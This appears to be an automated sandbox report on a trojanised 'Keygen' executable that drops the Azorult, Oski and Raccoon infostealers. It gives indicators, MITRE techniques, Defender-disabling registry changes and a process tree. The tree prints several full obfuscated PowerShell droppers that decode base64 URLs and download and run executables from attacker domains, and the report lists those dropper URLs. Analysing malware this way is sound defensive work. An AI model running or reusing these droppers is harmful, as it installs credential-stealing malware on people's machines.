azorult | 3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
62s
max time network
160s
platform
windows10_x64
resource
win10
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (98) — копия.exe

Score

10^/10

azorult oski raccoon discovery evasion infostealer ransomware spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note

[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 21:55:05 GMT Bot_ID: 664A9041-4AC4-46F3-B3DC-87DB4D57890E_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.51 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: GOHCSFBB - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (750 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 4 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral332/memory/4760-315-0x000000000ABD0000-0x000000000ABD5000-memory.dmp	disable_win_def
behavioral332/memory/5068-325-0x00000000052E0000-0x00000000052E3000-memory.dmp	disable_win_def
C:\Windows\Temp\z1qyftry.exe	disable_win_def
C:\Windows\temp\z1qyftry.exe	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.

Processes:

yara_rule

raccoon_log_file
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

9 3456 powershell.exe
11 3456 powershell.exe
12 232 powershell.exe
14 232 powershell.exe
21 4416 powershell.exe
25 4416 powershell.exe
Downloads MZ/PE file

yara_rule
raccoon_log_file

flow	pid	process
9	3456	powershell.exe
11	3456	powershell.exe
12	232	powershell.exe
14	232	powershell.exe
21	4416	powershell.exe
25	4416	powershell.exe

Executes dropped EXE 28 IoCs

Processes:

Keygen.execsx.exeojf.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeojf.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemaz.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemaz.exeFVjhgtresfdbv.exeNHtrdsaghfDF.execsx.exehgfnmbasdo.exehgfnmbasdo.exehgfnmbasdo.exehgfnmbasdo.exehgfnmbasdo.exeaxcsdfa.exeaxcsdfa.exeaxcsdfa.exebMyEJbSk5p.exedQj8nFnQOd.exeZj16sSF9AK.exetKpFTdZtvr.exez1qyftry.exe

pid	process
1856	Keygen.exe
4912	csx.exe
5000	ojf.exe
5084	FVjhgtresfdbv.exe
5096	NHtrdsaghfDF.exe
4224	ojf.exe
1504	FVjhgtresfdbv.exe
4268	NHtrdsaghfDF.exe
3852	maz.exe
4808	FVjhgtresfdbv.exe
4816	NHtrdsaghfDF.exe
4880	maz.exe
4112	FVjhgtresfdbv.exe
4752	NHtrdsaghfDF.exe
4804	csx.exe
5052	hgfnmbasdo.exe
4896	hgfnmbasdo.exe
4636	hgfnmbasdo.exe
4660	hgfnmbasdo.exe
4556	hgfnmbasdo.exe
4452	axcsdfa.exe
4824	axcsdfa.exe
752	axcsdfa.exe
4516	bMyEJbSk5p.exe
4992	dQj8nFnQOd.exe
4760	Zj16sSF9AK.exe
5068	tKpFTdZtvr.exe
4472	z1qyftry.exe

Loads dropped DLL 17 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exehgfnmbasdo.exeojf.exe

pid	process
1504	FVjhgtresfdbv.exe
1504	FVjhgtresfdbv.exe
1504	FVjhgtresfdbv.exe
4112	FVjhgtresfdbv.exe
4112	FVjhgtresfdbv.exe
4112	FVjhgtresfdbv.exe
4556	hgfnmbasdo.exe
4556	hgfnmbasdo.exe
4556	hgfnmbasdo.exe
4224	ojf.exe
4224	ojf.exe
4224	ojf.exe
4224	ojf.exe
4224	ojf.exe
4224	ojf.exe
4224	ojf.exe
4224	ojf.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

tKpFTdZtvr.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	tKpFTdZtvr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	tKpFTdZtvr.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

ojf.exe

description ioc process

File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini ojf.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini	ojf.exe

Suspicious use of SetThreadContext 9 IoCs

Processes:

ojf.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemaz.exeFVjhgtresfdbv.exeNHtrdsaghfDF.execsx.exehgfnmbasdo.exeaxcsdfa.exe

description	pid	process	target process
PID 5000 set thread context of 4224	5000	ojf.exe	ojf.exe
PID 5084 set thread context of 1504	5084	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 5096 set thread context of 4268	5096	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 3852 set thread context of 4880	3852	maz.exe	maz.exe
PID 4808 set thread context of 4112	4808	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4816 set thread context of 4752	4816	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4912 set thread context of 4804	4912	csx.exe	csx.exe
PID 5052 set thread context of 4556	5052	hgfnmbasdo.exe	hgfnmbasdo.exe
PID 4452 set thread context of 752	4452	axcsdfa.exe	axcsdfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exehgfnmbasdo.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	hgfnmbasdo.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

3440 timeout.exe
3788 timeout.exe
4976 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

2152 taskkill.exe
4100 taskkill.exe
4356 taskkill.exe
4800 taskkill.exe

pid	process
3440	timeout.exe
3788	timeout.exe
4976	timeout.exe

pid	process
2152	taskkill.exe
4100	taskkill.exe
4356	taskkill.exe
4800	taskkill.exe

Modifies registry class 3 IoCs

Processes:

cmd.execsx.exehgfnmbasdo.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	csx.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	hgfnmbasdo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exehgfnmbasdo.exeaxcsdfa.exeZj16sSF9AK.exe

pid	process
184	powershell.exe
232	powershell.exe
3456	powershell.exe
184	powershell.exe
1332	powershell.exe
232	powershell.exe
3456	powershell.exe
1332	powershell.exe
184	powershell.exe
232	powershell.exe
3456	powershell.exe
1332	powershell.exe
4416	powershell.exe
4416	powershell.exe
4624	powershell.exe
4624	powershell.exe
4416	powershell.exe
4624	powershell.exe
4416	powershell.exe
4624	powershell.exe
5052	hgfnmbasdo.exe
5052	hgfnmbasdo.exe
5052	hgfnmbasdo.exe
5052	hgfnmbasdo.exe
5052	hgfnmbasdo.exe
5052	hgfnmbasdo.exe
4452	axcsdfa.exe
4452	axcsdfa.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

ojf.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemaz.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

5000 ojf.exe
5084 FVjhgtresfdbv.exe
5096 NHtrdsaghfDF.exe
3852 maz.exe
4808 FVjhgtresfdbv.exe
4816 NHtrdsaghfDF.exe

pid	process
5000	ojf.exe
5084	FVjhgtresfdbv.exe
5096	NHtrdsaghfDF.exe
3852	maz.exe
4808	FVjhgtresfdbv.exe
4816	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsx.exetaskkill.exetaskkill.exehgfnmbasdo.exetaskkill.exeaxcsdfa.exeZj16sSF9AK.exetKpFTdZtvr.exepowershell.exetaskkill.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	184	powershell.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	4416	powershell.exe
Token: SeDebugPrivilege	4624	powershell.exe
Token: SeDebugPrivilege	4912	csx.exe
Token: SeDebugPrivilege	2152	taskkill.exe
Token: SeDebugPrivilege	4100	taskkill.exe
Token: SeDebugPrivilege	5052	hgfnmbasdo.exe
Token: SeDebugPrivilege	4356	taskkill.exe
Token: SeDebugPrivilege	4452	axcsdfa.exe
Token: SeDebugPrivilege	4760	Zj16sSF9AK.exe
Token: SeDebugPrivilege	5068	tKpFTdZtvr.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeDebugPrivilege	4800	taskkill.exe
Token: SeDebugPrivilege	4476	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Keygen.exeojf.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemaz.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeZj16sSF9AK.exe

pid	process
1856	Keygen.exe
5000	ojf.exe
5084	FVjhgtresfdbv.exe
5096	NHtrdsaghfDF.exe
3852	maz.exe
4808	FVjhgtresfdbv.exe
4816	NHtrdsaghfDF.exe
4760	Zj16sSF9AK.exe
4760	Zj16sSF9AK.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (98) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exeojf.exe

description	pid	process	target process
PID 3420 wrote to memory of 1084	3420	Keygen — копия (98) — копия.exe	cmd.exe
PID 3420 wrote to memory of 1084	3420	Keygen — копия (98) — копия.exe	cmd.exe
PID 3420 wrote to memory of 1084	3420	Keygen — копия (98) — копия.exe	cmd.exe
PID 1084 wrote to memory of 1856	1084	cmd.exe	Keygen.exe
PID 1084 wrote to memory of 1856	1084	cmd.exe	Keygen.exe
PID 1084 wrote to memory of 1856	1084	cmd.exe	Keygen.exe
PID 1084 wrote to memory of 2236	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 2236	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 2236	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 2640	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 2640	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 2640	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 3440	1084	cmd.exe	timeout.exe
PID 1084 wrote to memory of 3440	1084	cmd.exe	timeout.exe
PID 1084 wrote to memory of 3440	1084	cmd.exe	timeout.exe
PID 2236 wrote to memory of 232	2236	mshta.exe	powershell.exe
PID 2236 wrote to memory of 232	2236	mshta.exe	powershell.exe
PID 2236 wrote to memory of 232	2236	mshta.exe	powershell.exe
PID 2640 wrote to memory of 184	2640	mshta.exe	powershell.exe
PID 2640 wrote to memory of 184	2640	mshta.exe	powershell.exe
PID 2640 wrote to memory of 184	2640	mshta.exe	powershell.exe
PID 1084 wrote to memory of 2212	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 2212	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 2212	1084	cmd.exe	mshta.exe
PID 2212 wrote to memory of 3456	2212	mshta.exe	powershell.exe
PID 2212 wrote to memory of 3456	2212	mshta.exe	powershell.exe
PID 2212 wrote to memory of 3456	2212	mshta.exe	powershell.exe
PID 1084 wrote to memory of 3980	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 3980	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 3980	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 3788	1084	cmd.exe	timeout.exe
PID 1084 wrote to memory of 3788	1084	cmd.exe	timeout.exe
PID 1084 wrote to memory of 3788	1084	cmd.exe	timeout.exe
PID 3980 wrote to memory of 1332	3980	mshta.exe	powershell.exe
PID 3980 wrote to memory of 1332	3980	mshta.exe	powershell.exe
PID 3980 wrote to memory of 1332	3980	mshta.exe	powershell.exe
PID 1084 wrote to memory of 4336	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 4336	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 4336	1084	cmd.exe	mshta.exe
PID 4336 wrote to memory of 4416	4336	mshta.exe	powershell.exe
PID 4336 wrote to memory of 4416	4336	mshta.exe	powershell.exe
PID 4336 wrote to memory of 4416	4336	mshta.exe	powershell.exe
PID 1084 wrote to memory of 4508	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 4508	1084	cmd.exe	mshta.exe
PID 1084 wrote to memory of 4508	1084	cmd.exe	mshta.exe
PID 4508 wrote to memory of 4624	4508	mshta.exe	powershell.exe
PID 4508 wrote to memory of 4624	4508	mshta.exe	powershell.exe
PID 4508 wrote to memory of 4624	4508	mshta.exe	powershell.exe
PID 3456 wrote to memory of 4912	3456	powershell.exe	csx.exe
PID 3456 wrote to memory of 4912	3456	powershell.exe	csx.exe
PID 3456 wrote to memory of 4912	3456	powershell.exe	csx.exe
PID 232 wrote to memory of 5000	232	powershell.exe	ojf.exe
PID 232 wrote to memory of 5000	232	powershell.exe	ojf.exe
PID 232 wrote to memory of 5000	232	powershell.exe	ojf.exe
PID 5000 wrote to memory of 5084	5000	ojf.exe	FVjhgtresfdbv.exe
PID 5000 wrote to memory of 5084	5000	ojf.exe	FVjhgtresfdbv.exe
PID 5000 wrote to memory of 5084	5000	ojf.exe	FVjhgtresfdbv.exe
PID 5000 wrote to memory of 5096	5000	ojf.exe	NHtrdsaghfDF.exe
PID 5000 wrote to memory of 5096	5000	ojf.exe	NHtrdsaghfDF.exe
PID 5000 wrote to memory of 5096	5000	ojf.exe	NHtrdsaghfDF.exe
PID 5000 wrote to memory of 4224	5000	ojf.exe	ojf.exe
PID 5000 wrote to memory of 4224	5000	ojf.exe	ojf.exe
PID 5000 wrote to memory of 4224	5000	ojf.exe	ojf.exe
PID 5000 wrote to memory of 4224	5000	ojf.exe	ojf.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (98) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (98) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3420

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2001.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (98) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1084

C:\Users\Admin\AppData\Local\Temp\2001.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1856

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2001.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:232

C:\Users\Public\ojf.exe
"C:\Users\Public\ojf.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5000

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5084

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1504

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 1504 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\762253361069584\\* & exit
8⤵
PID:2752

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 1504
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2152

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5096

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4268

C:\Users\Public\ojf.exe
"C:\Users\Public\ojf.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:4224

C:\Users\Admin\AppData\Local\Temp\bMyEJbSk5p.exe
"C:\Users\Admin\AppData\Local\Temp\bMyEJbSk5p.exe"
7⤵
- Executes dropped EXE
PID:4516

C:\Users\Admin\AppData\Local\Temp\dQj8nFnQOd.exe
"C:\Users\Admin\AppData\Local\Temp\dQj8nFnQOd.exe"
7⤵
- Executes dropped EXE
PID:4992

C:\Users\Admin\AppData\Local\Temp\Zj16sSF9AK.exe
"C:\Users\Admin\AppData\Local\Temp\Zj16sSF9AK.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4760

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\rf21cudo.inf
8⤵
PID:3692

C:\Users\Admin\AppData\Local\Temp\tKpFTdZtvr.exe
"C:\Users\Admin\AppData\Local\Temp\tKpFTdZtvr.exe"
7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:5068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:3864

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\ojf.exe"
7⤵
PID:2332

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:4976

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2001.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2640

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:184

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3440

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2001.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
